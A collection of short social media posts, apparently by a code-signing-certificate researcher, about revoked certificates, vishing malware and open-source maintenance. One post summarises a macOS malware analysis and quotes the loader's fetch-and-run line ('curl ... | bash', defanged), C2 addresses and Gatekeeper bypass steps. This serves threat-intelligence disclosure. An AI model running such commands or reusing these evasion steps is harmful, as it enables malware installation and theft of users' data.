Why, hello there, #solarmarker. virustotal.com/gui/file/1e79…

My GitHub got locked down. Hoping to get it back up soon. 🥲 While it is down, I assume CertGraveyard will be inaccessible via web, only accessible via API. I think their automation got angry about a malware analysis report and nuked my account because of it.

Same file flagged by @malwrhunterteam File has EV code-signing signature "Xidao E-commerce Studio, Yishui County" b4e4250fdfb3a7398edc10be74a79e29100460d6a2d0bef99e4f5411a2dbe68a Amazing analysis by @devmihaylov

During a fake IT vish targeting Germany, the attackers drop a signed file, currently one signed by "YOUR CHANCE j.d.o.o". The tool pulls the user's name and validates their credentials when entered. Credentials are saved for the attackers. See github.security.telekom.com/… for more details. We observed this actor first in 2024 and have tracked them as "RUS-2" and "RUS-51" (for lack of better names), the record is in CertGraveyard: certgraveyard.org/documentat… . (Note, if you are interested in helping cluster and make sense of the ~2,500 certificates we've reported over the years, we're happy for help. 🥲Join the discord: discord.gg/dvGXKaY5qr) VirusTotal: virustotal.com/gui/file/88fc… MalwareBazaar: bazaar.abuse.ch/sample/88fce…

The code-signing certificate for "OpsBridge LLC" is revoked. We continue to see new brands of RMM tools pop up and drop ScreenConnect immediately. We (CertGraveyard) didn't report the cert, but other's aren't putting up with this either. Others reported that OpsBridge was all kinds of suspicious: registered with throw-away email accounts, sold via Telegram, etc. virustotal.com/gui/file/7c6a… Thanks for those reviewing, writing, tweeting, about this type of stuff. @ExpectedErr0r @0xBurgers @devmihaylov. Your work is seen and appreciated.

The difference between the statement of "programming is solved" and the reality is so weird. I spent hours today maintaining an open source library that gets 230k/mo downloads. The library adds drag-and-drop functionality to Python's Tkinter. That is, it is a library that hundreds of thousands of people rely upon to build the apps that they imagine. But they can only build what they imagine because these libraries exist. Because individuals are still maintaining them. Still hunting bugs. The library I maintain, tkinterdnd2, has been abandoned multiple times in its life. But it is one of the core libraries that LLMs will recommend. This is driving its surge in use. I've been helping it survive major changes that hardly anyone batted an eye at: - the removal of Tix from Python - the switch from Tcl 8 to Tcl 9 - The need to run on ARM systems Could the 230k/m used other libraries like PyQT6? Sure. But it is the same story for PyQT6 and every other library that is still maintained out of love. These libraries make the most ordinary things possible, but their existence and maintenance isn't a solved problem

New entry: "Alsace Music ApS" in Cert Graveyard Certificate was used to sign a trojanized installer; dropped during Microsoft Teams Vishing. I'm sure it is benign though, right? virustotal.com/gui/file/38f3…

"Shenzhen Xinfeng E-commerce Co., Ltd." shouldn't be signing other people's software. --- Microsoft fully implemented changes to EV certificates this year: EV certificates no longer give instant trust. As a result, actors who wish to use EV they purchase need to "warm" the cert by getting installs to increase the certificate's reputation. We're seeing this much more frequently. This seems to be a copy of StreamYard which is re-signed: virustotal.com/gui/file/3c90… We've confidently added it to the Cert Graveyard.

The talks for the upcoming BSidesNYC will be amazing. There were a ton of great submissions and I was honored with being able to contribute as part of the CFP Panel.

Regarding CVE-2026-63030, this is what I see in the Apache logs on attempts: PHP Warning: Undefined array key 2 in .../class-wp-rest-server.php on line 1836 PHP Warning: Trying to access array offset on null in .../class-wp-rest-server.php on line 1848 Stay safe out there.

AI analysis summary: 1. Velto .app (veltod, Swift, signed by "Emil Grigorov" / Team ID WWB7JA7AQV) checks for DYLD_INSERT_LIBRARIES (anti-instrumentation), then beacons to a GitHub raw-content URL (raw[.]githubusercontent[.]com/mgothiclove/pkeys/main/sys.cache) — the C2 domain was hidden as split Swift string constants, not a plain string, and had to be reconstructed from disassembly. 2. That fetches a one-liner (curl endpoint-api-v1[.]com/d/f1b24e | bash). 3. Which resolves through two layers of base64/eval obfuscation to an installer script. 4. Which downloads a second DMG, "CrashReporter.dmg", silently installs it to a hidden /tmp path, strips quarantine, ad-hoc re-signs it to bypass Gatekeeper, and launches it. 5. The final payload masquerades as Apple's crash reporter (com[.]apple.crashreporter), requests Full Disk Access + Desktop/Documents/Downloads entitlements, sets up LaunchAgent-style persistence, and has a hardcoded C2 IP (179.43.166.242) baked into its Info.plist. Full report and components: github.com/Squiblydoo/Remnux…

Volunteers at the Cert Graveyard hunt, analyze, and report code-signing certificates on malware to thwart attacks. We don't often see what happens when it goes unmitigated, but @TheDFIRReport often does. In this report, they report the intrusions from campaigns we had tracked.